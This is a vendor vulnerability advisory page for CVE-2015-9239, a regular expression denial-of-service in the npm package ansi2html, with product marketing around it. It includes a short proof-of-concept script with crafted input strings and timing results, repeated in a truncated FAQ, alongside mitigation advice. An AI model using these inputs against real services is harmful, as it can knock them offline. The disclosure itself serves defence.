Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2015-9239

CVE-2015-9239 is a Uncontrolled Resource Consumption vulnerability in ansi2html. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether CVE-2015-9239 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Regular Expression Denial of Service in ansi2html

Published
Sep 1, 2020
Updated
Nov 8, 2023
Affected
1 pkg
Patched
None yet
Exploits
1 known
Exploitation data as of Nov 8, 2023 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
📦ansi2html

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

The ansi2html package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.

Proof of concept

var ansi2html = require('ansi2html')

var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));

Results of the above

00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]

Recommendation

At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.

In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.

In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmansi2html0.0.0No fix
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ansi2html. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of ansi2html has shipped for CVE-2015-9239 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2015-9239 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2015-9239. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

The `ansi2html` package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in. ## Proof of concept ``` var ansi2html = require('ansi2html') var start = process.hrtime(); ansi2html("[1111111111111111111111;0000000000000000000000"); console.log(process.hrtime(start)); start = process.hrtime(); ansi2html("[1111111111111111111111;00000000000000000000000"); console.log(process.hrtime(start)); start = process.hrtime(); ansi2html("[1111111111111111111111;000000000000000000000000"); console.log(process.hrtime(start)); start = process.hr
O3 Security · Impact-Aware SCA

Is CVE-2015-9239 in your dependencies?

O3 detects CVE-2015-9239 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

CVE-2015-9239: Regular Expression Denial of… | O3 Security